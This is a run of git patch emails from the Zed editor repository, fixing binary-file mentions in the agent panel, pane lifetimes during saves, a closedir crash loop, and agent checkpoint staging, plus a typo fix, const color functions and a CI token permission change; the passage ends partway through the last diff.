From 7f96e13d7bbb35a4d0c52a10948009e098986fe8 Mon Sep 17 00:00:00 2001
From: serenNan <976758426@qq.com>
Date: Mon, 27 Jul 2026 03:46:19 +0800
Subject: [PATCH 706/772] Fall back to path-only mention for binary files in
 the agent panel (#61279)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

- Dragging a binary file (docx, xlsx, pdf, etc.) into the agent panel's
message editor inserted a mention link, then asynchronously tried to
load its content as a text buffer. That failed with "Binary files are
not supported", which surfaced an error toast **and** deleted the
mention text that had already been inserted.
- `confirm_mention_for_file` now catches that specific failure and falls
back to `Mention::Link` (a path-only reference, same as directory
mentions already use), instead of failing the whole mention and
reverting the edit.

## Test plan

- [ ] Drag a `.docx` or `.xlsx` file into the agent panel chat input —
the file path mention should stay inserted with no error toast.
- [ ] Drag a regular text file in — content mention still works as
before (unaffected code path).

Release Notes:

- Fixed dragging a binary file (docx, xlsx, pdf, etc.) into the agent
panel deleting the inserted reference and showing a "Binary files are
not supported" error

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Cole Miller <cole@zed.dev>
---
 crates/agent_ui/src/mention_set.rs | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/crates/agent_ui/src/mention_set.rs b/crates/agent_ui/src/mention_set.rs
index 97d2dfbca6f35e..3ab2f10060b1da 100644
--- a/crates/agent_ui/src/mention_set.rs
+++ b/crates/agent_ui/src/mention_set.rs
@@ -424,7 +424,12 @@ impl MentionSet {
 
         let buffer = project.update(cx, |project, cx| project.open_buffer(project_path, cx));
         cx.spawn(async move |_, cx| {
-            let buffer = buffer.await?;
+            let buffer = match buffer.await {
+                Ok(buffer) => buffer,
+                Err(_error) => {
+                    return Ok(Mention::Link);
+                }
+            };
             let buffer_content = outline::get_buffer_content_or_outline(
                 buffer.clone(),
                 Some(&abs_path.to_string_lossy()),

From 23cb8712ba03642f7f85952d7cdd1f4e44ffcafe Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Sun, 26 Jul 2026 21:59:54 +0200
Subject: [PATCH 707/772] workspace: Retain panes while saving (#61683)

Save tasks can suspend while waiting for prompts, formatting, or
filesystem I/O. Holding only a WeakEntity<Pane> allowed the pane to be
released during those suspension points, surfacing an internal 'entity
released' error as a failed save.

Instead upgrade the pane once the save operation starts so we can ensure
it finishes.


---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/workspace/src/pane.rs      | 44 ++++++++++++++++---------------
 crates/workspace/src/workspace.rs |  9 +++----
 2 files changed, 27 insertions(+), 26 deletions(-)

diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index 3f8a4c83bfc369..97e5b1a37869de 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -2023,8 +2023,17 @@ impl Pane {
                 }
 
                 if should_save {
-                    match Self::save_item(project.clone(), &pane, &*item_to_close, save_intent, cx)
-                        .await
+                    let Some(pane_handle) = pane.upgrade() else {
+                        return Ok(());
+                    };
+                    match Self::save_item(
+                        project.clone(),
+                        pane_handle,
+                        &*item_to_close,
+                        save_intent,
+                        cx,
+                    )
+                    .await
                     {
                         Ok(success) => {
                             if !success {
@@ -2235,7 +2244,7 @@ impl Pane {
 
     pub async fn save_item(
         project: Entity<Project>,
-        pane: &WeakEntity<Pane>,
+        pane: Entity<Pane>,
         item: &dyn ItemHandle,
         save_intent: SaveIntent,
         cx: &mut AsyncWindowContext,
@@ -2256,11 +2265,7 @@ impl Pane {
             }
             return Ok(true);
         };
-        let Some(item_ix) = pane
-            .read_with(cx, |pane, _| pane.index_for_item(item))
-            .ok()
-            .flatten()
-        else {
+        let Some(item_ix) = pane.read_with(cx, |pane, _| pane.index_for_item(item)) else {
             return Ok(true);
         };
 
@@ -2404,7 +2409,7 @@ impl Pane {
                                     "save modal was not present in spawned modals after awaiting for its answer"
                                 )
                             }
-                        })?;
+                        });
                         match answer {
                             Ok(0) => {}
                             Ok(1) => {
@@ -2469,16 +2474,13 @@ impl Pane {
                     return Ok(false);
                 };
 
-                let project_path = pane
-                    .update(cx, |pane, cx| {
-                        pane.project
-                            .update(cx, |project, cx| {
-                                project.find_or_create_worktree(new_path, true, cx)
-                            })
-                            .ok()
-                    })
-                    .ok()
-                    .flatten();
+                let project_path = pane.update(cx, |pane, cx| {
+                    pane.project
+                        .update(cx, |project, cx| {
+                            project.find_or_create_worktree(new_path, true, cx)
+                        })
+                        .ok()
+                });
                 let save_task = if let Some(project_path) = project_path {
                     let (worktree, path) = project_path.await?;
                     let worktree_id = worktree.read_with(cx, |worktree, _| worktree.id());
@@ -2516,13 +2518,13 @@ impl Pane {
             }
         }
 
-        pane.update(cx, |_, cx| {
+        Ok(pane.update(cx, |_, cx| {
             cx.emit(Event::UserSavedItem {
                 item: item.downgrade_item(),
                 save_intent,
             });
             true
-        })
+        }))
     }
 
     pub fn autosave_item(
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 3678c4774b5d7b..d4c1d3c4e20355 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -3528,7 +3528,7 @@ impl Workspace {
                 pane.read(cx).items().filter_map(|item| {
                     if item.is_dirty(cx) {
                         item.tab_content_text(0, cx);
-                        Some((pane.downgrade(), item.boxed_clone()))
+                        Some((pane.clone(), item.boxed_clone()))
                     } else {
                         None
                     }
@@ -3604,7 +3604,7 @@ impl Workspace {
                     )
                 })?;
                 if (singleton || !project_entry_ids.is_empty())
-                    && !Pane::save_item(project.clone(), &pane, &*item, save_intent, cx).await?
+                    && !Pane::save_item(project.clone(), pane, &*item, save_intent, cx).await?
                 {
                     return Ok(false);
                 }
@@ -3996,13 +3996,12 @@ impl Workspace {
         cx: &mut App,
     ) -> Task<Result<()>> {
         let project = self.project.clone();
-        let pane = self.active_pane();
+        let pane = self.active_pane().clone();
         let item = pane.read(cx).active_item();
-        let pane = pane.downgrade();
 
         window.spawn(cx, async move |cx| {
             if let Some(item) = item {
-                Pane::save_item(project, &pane, item.as_ref(), save_intent, cx)
+                Pane::save_item(project, pane, item.as_ref(), save_intent, cx)
                     .await
                     .map(|_| ())
             } else {

From 30730a305ae235f3be44643d5895e142048ef701 Mon Sep 17 00:00:00 2001
From: MB <marcelo@boeira.me>
Date: Sun, 26 Jul 2026 23:13:39 +0200
Subject: [PATCH 708/772] fs: Fix crash loop from closedir panic during
 worktree scan (#59953)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #59952.

Zed crash-loops on launch. The faulting thread aborts inside the Rust
standard library while closing a directory handle during background
worktree scanning: `std`'s `DirStream::drop`
(`library/std/src/sys/fs/unix.rs`) `assert!`s that `closedir()` succeeds
unless the error is `EINTR`. That handle originates in
`RealFs::read_dir`, which wraps `std::fs::read_dir(path)` in
`stream::iter(...)` and carries the live `ReadDir` across async
boundaries; the worktree `BackgroundScanner` (`scan_dir` →
`forcibly_load_paths`) later drops the stream. If `closedir()` returns a
non-`EINTR` error (e.g. `EBADF` under file-descriptor pressure — seen
alongside repeated `unable to start FSEvent stream` warnings on a large
dependency tree), `std` panics inside `Drop`. Zed's
`crashes::panic_hook` turns any panic into `process::abort()`, and
because the same workspace is re-scanned every launch, this is a
permanent crash loop. (`catch_unwind` can't help: the hook aborts before
unwinding.)

## Solution

Stop relying on `std`'s asserting close. Add a `read_dir_entries(path)`
helper that reads entries eagerly so the directory handle is opened and
closed within a single call:

- On unix, read via libc (`opendir`/`readdir`/`closedir`) and
**deliberately ignore a failing `closedir`**, so a close error degrades
gracefully instead of aborting the process.
- On non-unix, keep `std::fs::read_dir` (which has no such assert) but
collect eagerly so the handle is dropped within the call.

`RealFs::read_dir` now calls this helper. The change is scoped to
`crates/fs/src/fs.rs`; the watcher, scanner, and panic hook are
untouched.

## Testing

- Added unit tests in `crates/fs/src/fs.rs` for `read_dir_entries`:
entry listing, `.`/`..` exclusion, empty directories, and the
missing-directory error path.
- `cargo test -p fs read_dir` → 3 passed.
- `RUSTFLAGS="-D warnings" cargo build -p fs`, `cargo clippy -p fs
--all-features --all-targets -- -D warnings`, and `cargo fmt -p fs
--check` are all clean.
- Tested on macOS (aarch64). The `fs` crate compiles within the full
`cargo build -p zed` graph. I could not produce a running app binary in
my environment (the `gpui_macos` Metal step needs full Xcode, not just
Command Line Tools) — reviewers on a full Xcode setup can `cargo run -p
zed`.
- The original `closedir` `EBADF` is not deterministically reproducible,
so the fix is structural rather than verified against a live repro; the
tests guard the read path and behavior.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards — N/A (no UI change)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Zed crash-looping on launch when `closedir` fails during
background directory scanning
([#59952](https://github.com/zed-industries/zed/issues/59952)).

---------

Co-authored-by: Cole Miller <cole@zed.dev>
---
 Cargo.lock           |  1 +
 Cargo.toml           |  1 +
 crates/fs/Cargo.toml |  4 +++
 crates/fs/src/fs.rs  | 72 ++++++++++++++++++++++++++++++++++++--------
 4 files changed, 66 insertions(+), 12 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 5d22ca539aa0dc..0bf1f8a61cfbbc 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6917,6 +6917,7 @@ dependencies = [
  "paths",
  "proto",
  "rope",
+ "rustix 1.1.2",
  "serde",
  "serde_json",
  "slotmap",
diff --git a/Cargo.toml b/Cargo.toml
index 3eb608e555ed30..4056f9d568a372 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -779,6 +779,7 @@ runtimelib = { version = "1.4.0", default-features = false, features = [
 ] }
 rust-embed = { version = "8.11", features = ["include-exclude"] }
 rustc-hash = "2.1.0"
+rustix = { version = "1.1", features = ["fs"] }
 rustls = { version = "0.23.26" }
 rustls-platform-verifier = "0.5.0"
 # WARNING: If you change this, you must also publish a new version of zed-scap to crates.io
diff --git a/crates/fs/Cargo.toml b/crates/fs/Cargo.toml
index ef0cb4bd8c20db..2f1d694f25a304 100644
--- a/crates/fs/Cargo.toml
+++ b/crates/fs/Cargo.toml
@@ -47,6 +47,10 @@ path.workspace = true
 is_executable = "1.0.5"
 notify = "9.0.0-rc.4"
 trash = { git = "https://github.com/zed-industries/trash-rs", rev = "47761739192828a66b11a94ba5420b82d63c03c5" }
+
+[target.'cfg(unix)'.dependencies]
+rustix.workspace = true
+
 [target.'cfg(target_os = "windows")'.dependencies]
 windows.workspace = true
 dunce.workspace = true
diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index a7784922c74efb..9b3adda7125f3d 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -9,7 +9,7 @@ use std::sync::atomic::{AtomicU8, AtomicUsize, Ordering};
 use std::time::Instant;
 use util::maybe;
 
-use anyhow::{Context as _, Result, anyhow};
+use anyhow::{Context as _, Result};
 use futures::stream::iter;
 use gpui::App;
 use gpui::BackgroundExecutor;
@@ -629,6 +629,59 @@ fn path_to_c_string(path: &Path) -> io::Result<CString> {
     })
 }
 
+// On Unix targets, std::fs::ReadDir panics in its Drop implementation
+// when an unexpected error is returned from closedir(2). We hit this
+// condition in production; one cause seems to be macOS's FSEventStream
+// incorrectly closing fds it doesn't own, resulting in closedir returning
+// EBADF, see https://github.com/zed-industries/zed/issues/59952#issuecomment-5080178879.
+//
+// We also see occasional errors like ENXIO and ETIMEDOUT that seem to
+// come from network or other exotic filesystems.
+//
+// To avoid crashing the app in this situation, we use the rustix analogue of
+// ReadDir, which doesn't have this panic in drop.
+#[cfg(unix)]
+fn read_dir_entries(path: PathBuf) -> Result<impl Send + Iterator<Item = Result<PathBuf>>> {
+    use rustix::fs::{Dir, Mode, OFlags};
+    use std::ffi::OsStr;
+    use std::os::unix::ffi::OsStrExt;
+
+    let directory_fd = rustix::fs::open(
+        &path,
+        OFlags::RDONLY | OFlags::DIRECTORY | OFlags::CLOEXEC,
+        Mode::empty(),
+    )
+    .with_context(|| format!("failed to open directory {path:?}"))?;
+    let directory =
+        Dir::new(directory_fd).with_context(|| format!("failed to read directory {path:?}"))?;
+
+    Ok(directory.filter_map(move |entry| {
+        let entry = match entry {
+            Ok(entry) => entry,
+            Err(error) => {
+                return Some(Err(anyhow::Error::new(error)
+                    .context(format!("failed to read directory entry in {path:?}"))));
+            }
+        };
+        let name = entry.file_name().to_bytes();
+        if name == b"." || name == b".." {
+            return None;
+        }
+        Some(Ok(path.join(OsStr::from_bytes(name))))
+    }))
+}
+
+#[cfg(not(unix))]
+fn read_dir_entries(path: PathBuf) -> Result<impl Send + Iterator<Item = Result<PathBuf>>> {
+    let entries =
+        std::fs::read_dir(&path).with_context(|| format!("failed to open directory {path:?}"))?;
+    Ok(entries.map(move |entry| {
+        entry
+            .map(|entry| entry.path())
+            .with_context(|| format!("failed to read directory entry in {path:?}"))
+    }))
+}
+
 #[async_trait::async_trait]
 impl Fs for RealFs {
     async fn create_dir(&self, path: &Path) -> Result<()> {
@@ -1063,16 +1116,11 @@ impl Fs for RealFs {
         path: &Path,
     ) -> Result<Pin<Box<dyn Send + Stream<Item = Result<PathBuf>>>>> {
         let path = path.to_owned();
-        let result = iter(
-            self.executor
-                .spawn(async move { std::fs::read_dir(path) })
-                .await?,
-        )
-        .map(|entry| match entry {
-            Ok(entry) => Ok(entry.path()),
-            Err(error) => Err(anyhow!("failed to read dir entry {error:?}")),
-        });
-        Ok(Box::pin(result))
+        let entries = self
+            .executor
+            .spawn(async move { read_dir_entries(path) })
+            .await?;
+        Ok(Box::pin(iter(entries)))
     }
 
     async fn watch(
@@ -1591,7 +1639,7 @@ impl FakeFsState {
         Ok(self
             .try_entry(target, true)
             .ok_or_else(|| {
-                anyhow!(io::Error::new(
+                anyhow::anyhow!(io::Error::new(
                     io::ErrorKind::NotFound,
                     format!("not found: {target:?}")
                 ))

From 50da8c40dcd596a91fe252537d8e4249f2fd3a50 Mon Sep 17 00:00:00 2001
From: Cole Miller <cole@zed.dev>
Date: Sun, 26 Jul 2026 20:55:39 -0400
Subject: [PATCH 709/772] Avoid unnecessary git scan when the agent creates a
 checkpoint (#61271)

Agent checkpointing is implemented by staging selected files to a
temporary git index file, then creating a commit. To avoid checkpointing
commonly-excluded files even when the user doesn't have them in their
gitignore, we write a temporary override to .git/info/exclude while
running the staging. However, this causes us to do an unnecessary git
scan when a checkpoint happens, because in general we want to do this
when `.git/info/exclude` changes (the user might have edited it).

This PR fixes that by doing the staging in two steps:
- First, we stage any tracked files
- Then we get a list of untracked files to include and stage those
explicitly. The list is obtained by running `git ls-files` with a custom
ignore file in addition to the `--standard` ignores; we write that
custom ignore file to a path ending in `tmp` under .git, which means
that our worktree code will not start a git scan in response to its
events (the same way it already works for the temporary index file).
.git/info/exclude is never touched. Note that we already listed all
untracked files before this PR, in order to exclude the large ones.

Release Notes:
- Fixed Zed doing unnecessary work when the agent created a checkpoint.
---
 crates/git/src/repository.rs | 251 ++++++++++++++---------------------
 1 file changed, 97 insertions(+), 154 deletions(-)

diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 528d1fdfebff75..59b06fce32742b 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -676,110 +676,6 @@ impl std::fmt::Display for FetchOptions {
     }
 }
 
-/// Modifies .git/info/exclude temporarily
-pub struct GitExcludeOverride {
-    git_exclude_path: PathBuf,
-    original_excludes: Option<String>,
-    added_excludes: Option<String>,
-}
-
-impl GitExcludeOverride {
-    const START_BLOCK_MARKER: &str = "\n\n#  ====== Auto-added by Zed: =======\n";
-    const END_BLOCK_MARKER: &str = "\n#  ====== End of auto-added by Zed =======\n";
-
-    pub async fn new(git_exclude_path: PathBuf) -> Result<Self> {
-        let original_excludes =
-            smol::fs::read_to_string(&git_exclude_path)
-                .await
-                .ok()
-                .map(|content| {
-                    // Auto-generated lines are normally cleaned up in
-                    // `restore_original()` or `drop()`, but may stuck in rare cases.
-                    // Make sure to remove them.
-                    Self::remove_auto_generated_block(&content)
-                });
-
-        Ok(GitExcludeOverride {
-            git_exclude_path,
-            original_excludes,
-            added_excludes: None,
-        })
-    }
-
-    pub async fn add_excludes(&mut self, excludes: &str) -> Result<()> {
-        self.added_excludes = Some(if let Some(ref already_added) = self.added_excludes {
-            format!("{already_added}\n{excludes}")
-        } else {
-            excludes.to_string()
-        });
-
-        let mut content = self.original_excludes.clone().unwrap_or_default();
-
-        content.push_str(Self::START_BLOCK_MARKER);
-        content.push_str(self.added_excludes.as_ref().unwrap());
-        content.push_str(Self::END_BLOCK_MARKER);
-
-        smol::fs::write(&self.git_exclude_path, content).await?;
-        Ok(())
-    }
-
-    pub async fn restore_original(&mut self) -> Result<()> {
-        if let Some(ref original) = self.original_excludes {
-            smol::fs::write(&self.git_exclude_path, original).await?;
-        } else if self.git_exclude_path.exists() {
-            smol::fs::remove_file(&self.git_exclude_path).await?;
-        }
-
-        self.added_excludes = None;
-
-        Ok(())
-    }
-
-    fn remove_auto_generated_block(content: &str) -> String {
-        let start_marker = Self::START_BLOCK_MARKER;
-        let end_marker = Self::END_BLOCK_MARKER;
-        let mut content = content.to_string();
-
-        let start_index = content.find(start_marker);
-        let end_index = content.rfind(end_marker);
-
-        if let (Some(start), Some(end)) = (start_index, end_index) {
-            if end > start {
-                content.replace_range(start..end + end_marker.len(), "");
-            }
-        }
-
-        // Older versions of Zed didn't have end-of-block markers,
-        // so it's impossible to determine auto-generated lines.
-        // Conservatively remove the standard list of excludes
-        let standard_excludes = format!(
-            "{}{}",
-            Self::START_BLOCK_MARKER,
-            include_str!("./checkpoint.gitignore")
-        );
-        content = content.replace(&standard_excludes, "");
-
-        content
-    }
-}
-
-impl Drop for GitExcludeOverride {
-    fn drop(&mut self) {
-        if self.added_excludes.is_some() {
-            let git_exclude_path = self.git_exclude_path.clone();
-            let original_excludes = self.original_excludes.clone();
-            smol::spawn(async move {
-                if let Some(original) = original_excludes {
-                    smol::fs::write(&git_exclude_path, original).await
-                } else {
-                    smol::fs::remove_file(&git_exclude_path).await
-                }
-            })
-            .detach();
-        }
-    }
-}
-
 #[derive(Clone, Debug, Default, PartialEq, Eq, Hash, Copy)]
 pub enum LogOrder {
     #[default]
@@ -2850,9 +2746,10 @@ impl GitRepository for RealGitRepository {
                 let mut git = git?.envs(checkpoint_author_envs());
                 git.with_temp_index(async |git| {
                     let head_sha = git.run(&["rev-parse", "HEAD"]).await.ok();
-                    let mut excludes = exclude_files(git).await?;
 
-                    git.run(&["add", "--all"]).await?;
+                    git.run(&["add", "--update"]).await?;
+                    let untracked_files = untracked_files_for_checkpoint(git).await?;
+                    add_files_to_index(git, &untracked_files).await?;
                     let tree = git.run(&["write-tree"]).await?;
                     let checkpoint_sha = if let Some(head_sha) = head_sha.as_deref() {
                         git.run(&["commit-tree", &tree, "-p", head_sha, "-m", "Checkpoint"])
@@ -2861,8 +2758,6 @@ impl GitRepository for RealGitRepository {
                         git.run(&["commit-tree", &tree, "-m", "Checkpoint"]).await?
                     };
 
-                    excludes.restore_original().await?;
-
                     Ok(GitRepositoryCheckpoint {
                         commit_sha: checkpoint_sha.parse()?,
                     })
@@ -3532,42 +3427,109 @@ fn git_status_args(path_prefixes: &[RepoPath]) -> Vec<OsString> {
     args
 }
 
-/// Temporarily git-ignore commonly ignored files and files over 2MB
-async fn exclude_files(git: &GitBinary) -> Result<GitExcludeOverride> {
+/// Lists untracked files that should be included in a checkpoint, skipping
+/// commonly ignored file types and files over 2MB.
+async fn untracked_files_for_checkpoint(git: &GitBinary) -> Result<Vec<String>> {
     const MAX_SIZE: u64 = 2 * 1024 * 1024; // 2 MB
-    let mut excludes = git.with_exclude_overrides().await?;
-    excludes
-        .add_excludes(include_str!("./checkpoint.gitignore"))
-        .await?;
+
+    // The extra checkpoint excludes are passed ad hoc via --exclude-from
+    // rather than by mutating .git/info/exclude, whose writes would trigger a
+    // rescan of the repository. The scratch file is placed directly in the
+    // .git directory with a .tmp extension so that the worktree scanner
+    // filters out the events it generates.
+    let excludes_file_path = git
+        .git_directory
+        .join(format!("checkpoint-excludes-{}.tmp", Uuid::new_v4()));
+
+    let delete_excludes_file = util::defer({
+        let excludes_file_path = excludes_file_path.clone();
+        let executor = git.executor.clone();
+        move || {
+            executor
+                .spawn(async move {
+                    smol::fs::remove_file(excludes_file_path).await.log_err();
+                })
+                .detach();
+        }
+    });
+
+    smol::fs::write(&excludes_file_path, include_str!("./checkpoint.gitignore")).await?;
+
+    let mut exclude_from_arg = OsString::from("--exclude-from=");
+    exclude_from_arg.push(&excludes_file_path);
+    let output = git
+        .run(&[
+            OsStr::new("ls-files"),
+            OsStr::new("--others"),
+            OsStr::new("--exclude-standard"),
+            OsStr::new("-z"),
+            exclude_from_arg.as_os_str(),
+        ])
+        .await;
+
+    smol::fs::remove_file(&excludes_file_path).await.ok();
+    delete_excludes_file.abort();
+    let output = output?;
 
     let working_directory = git.working_directory.clone();
-    let untracked_files = git.list_untracked_files().await?;
-    let excluded_paths = untracked_files.into_iter().map(|path| {
-        let working_directory = working_directory.clone();
-        smol::spawn(async move {
-            let full_path = working_directory.join(path.clone());
-            match smol::fs::metadata(&full_path).await {
-                Ok(metadata) if metadata.is_file() && metadata.len() >= MAX_SIZE => {
-                    Some(PathBuf::from("/").join(path.clone()))
+    let size_checks = output
+        .split('\0')
+        .filter(|path| !path.is_empty())
+        .map(|path| {
+            let full_path = working_directory.join(path);
+            let path = path.to_string();
+            smol::spawn(async move {
+                match smol::fs::metadata(&full_path).await {
+                    Ok(metadata) if metadata.is_file() && metadata.len() >= MAX_SIZE => None,
+                    _ => Some(path),
                 }
-                _ => None,
-            }
+            })
         })
-    });
+        .collect::<Vec<_>>();
 
-    let excluded_paths = futures::future::join_all(excluded_paths).await;
-    let excluded_paths = excluded_paths.into_iter().flatten().collect::<Vec<_>>();
+    let untracked_files = futures::future::join_all(size_checks)
+        .await
+        .into_iter()
+        .flatten()
+        .collect();
+    Ok(untracked_files)
+}
 
-    if !excluded_paths.is_empty() {
-        let exclude_patterns = excluded_paths
-            .into_iter()
-            .map(|path| path.to_string_lossy().into_owned())
-            .collect::<Vec<_>>()
-            .join("\n");
-        excludes.add_excludes(&exclude_patterns).await?;
+async fn add_files_to_index(git: &GitBinary, files: &[String]) -> Result<()> {
+    if files.is_empty() {
+        return Ok(());
     }
 
-    Ok(excludes)
+    let mut process = git
+        .build_command(&["update-index", "--add", "-z", "--stdin"])
+        .stdin(Stdio::piped())
+        .stdout(Stdio::piped())
+        .stderr(Stdio::piped())
+        .spawn()?;
+
+    let mut stdin = BufWriter::new(
+        process
+            .stdin
+            .take()
+            .context("no stdin for git update-index subprocess")?,
+    );
+    for file in files {
+        stdin.write_all(file.as_bytes()).await?;
+        stdin.write_all(b"\0").await?;
+    }
+    stdin.flush().await?;
+    drop(stdin);
+
+    let output = process.output().await?;
+    anyhow::ensure!(
+        output.status.success(),
+        GitBinaryCommandError {
+            stdout: String::from_utf8_lossy(&output.stdout).to_string(),
+            stderr: String::from_utf8_lossy(&output.stderr).to_string(),
+            status: output.status,
+        }
+    );
+    Ok(())
 }
 
 pub(crate) struct GitBinary {
@@ -3599,19 +3561,6 @@ impl GitBinary {
         }
     }
 
-    async fn list_untracked_files(&self) -> Result<Vec<PathBuf>> {
-        let status_output = self
-            .run(&["status", "--porcelain=v1", "--untracked-files=all", "-z"])
-            .await?;
-
-        let paths = status_output
-            .split('\0')
-            .filter(|entry| entry.len() >= 3 && entry.starts_with("?? "))
-            .map(|entry| PathBuf::from(&entry[3..]))
-            .collect::<Vec<_>>();
-        Ok(paths)
-    }
-
     fn envs(mut self, envs: HashMap<String, String>) -> Self {
         self.envs = envs;
         self
@@ -3652,12 +3601,6 @@ impl GitBinary {
         Ok(result)
     }
 
-    pub async fn with_exclude_overrides(&self) -> Result<GitExcludeOverride> {
-        let path = self.git_directory.join("info").join("exclude");
-
-        GitExcludeOverride::new(path).await
-    }
-
     fn path_for_index_id(&self, id: Uuid) -> PathBuf {
         self.git_directory.join(format!("index-{}.tmp", id))
     }

From 5a020093f5bfb59f3bb683ff28686f97b6d7b9c8 Mon Sep 17 00:00:00 2001
From: Ray Droplet <raydroplet@duck.com>
Date: Mon, 27 Jul 2026 05:59:53 +0000
Subject: [PATCH 710/772] Fix typo in .rules (#61693)

## Objective

A phrase in `.rules` was missing a verb.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


---

Release Notes:

- N/A
---
 .rules | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.rules b/.rules
index 4b4eb08c368a33..f4acf4d19b260e 100644
--- a/.rules
+++ b/.rules
@@ -117,7 +117,7 @@ Often event handlers will want to update the entity that's in the current `Conte
 
 Actions are dispatched via user keyboard interaction or in code via `window.dispatch_action(SomeAction.boxed_clone(), cx)` or `focus_handle.dispatch_action(&SomeAction, window, cx)`.
 
-Actions with no data defined with the `actions!(some_namespace, [SomeAction, AnotherAction])` macro call. Otherwise the `Action` derive macro is used. Doc comments on actions are displayed to the user.
+Actions with no data are defined with the `actions!(some_namespace, [SomeAction, AnotherAction])` macro call. Otherwise the `Action` derive macro is used. Doc comments on actions are displayed to the user.
 
 Action handlers can be registered on an element via the event handler `.on_action(|action, window, cx| ...)`. Like other event handlers, this is often used with `cx.listener`.
 

From 63b52a7ee354741a7485e8a20ab087a485fcb8a1 Mon Sep 17 00:00:00 2001
From: shenghaiyang <shenghaiyang.xyz@gmail.com>
Date: Mon, 27 Jul 2026 17:23:49 +0800
Subject: [PATCH 711/772] gpui: Make HSLA functions const (#61682)

# Objective

Make hsla functions `const`.

## Solution

Made Hsla-related functions `const fn`.

## Testing

> Did you test these changes? If so, how?

Ran `cargo test -p gpui color` to verify the color-related tests pass.

> Are there any parts that need more testing?

No additional testing is required since this change only changes
existing color functions to `const fn`.

> How can other people (reviewers) test your changes? Is there anything
specific they need to know?

Reviewers can run `cargo test -p gpui color` to verify the changes.

> If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

Tested on macOS. No platform-specific behavior is expected.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/gpui/src/color.rs | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/gpui/src/color.rs b/crates/gpui/src/color.rs
index 3914c0a3b9fe00..3bd893f9935705 100644
--- a/crates/gpui/src/color.rs
+++ b/crates/gpui/src/color.rs
@@ -421,7 +421,7 @@ impl Display for Hsla {
 }
 
 /// Construct an [`Hsla`] object from plain values
-pub fn hsla(h: f32, s: f32, l: f32, a: f32) -> Hsla {
+pub const fn hsla(h: f32, s: f32, l: f32, a: f32) -> Hsla {
     Hsla {
         h: h.clamp(0., 1.),
         s: s.clamp(0., 1.),
@@ -461,7 +461,7 @@ pub const fn transparent_white() -> Hsla {
 }
 
 /// Opaque grey in [`Hsla`], values will be clamped to the range [0, 1]
-pub fn opaque_grey(lightness: f32, opacity: f32) -> Hsla {
+pub const fn opaque_grey(lightness: f32, opacity: f32) -> Hsla {
     Hsla {
         h: 0.,
         s: 0.,

From e923a802ab381ea89e27cec8af31556b4c7bc583 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Mon, 27 Jul 2026 12:28:32 +0200
Subject: [PATCH 712/772] ci: Grant version bump token more permissions
 (#61709)

This should hopefully fix the issue with the version bumps we were
seeing - to bypass push protections, the token seems to need workflow
permissions for some reason as well.

Release Notes:

- N/A
---
 .github/workflows/bump_patch_version.yml               |  1 +
 .github/workflows/bump_zed_version.yml                 |  2 ++
 .../xtask/src/tasks/workflows/bump_patch_version.rs    |  5 ++++-
 tooling/xtask/src/tasks/workflows/bump_zed_version.rs  | 10 ++++++++--
 4 files changed, 15 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/bump_patch_version.yml b/.github/workflows/bump_patch_version.yml
index eef26b5f6f01fb..b2ef7349f4b221 100644
--- a/.github/workflows/bump_patch_version.yml
+++ b/.github/workflows/bump_patch_version.yml
@@ -26,6 +26,7 @@ jobs:
         owner: ${{ github.repository_owner }}
         repositories: ${{ github.event.repository.name }}
         permission-contents: write
+        permission-workflows: write
     - name: steps::checkout_repo
       uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd
       with:
diff --git a/.github/workflows/bump_zed_version.yml b/.github/workflows/bump_zed_version.yml
index ee007db74d23f9..f5b72cccf190a8 100644
--- a/.github/workflows/bump_zed_version.yml
+++ b/.github/workflows/bump_zed_version.yml
@@ -151,6 +151,7 @@ jobs:
         owner: ${{ github.repository_owner }}
         repositories: ${{ github.event.repository.name }}
         permission-contents: write
+        permission-workflows: write
     - name: steps::checkout_repo
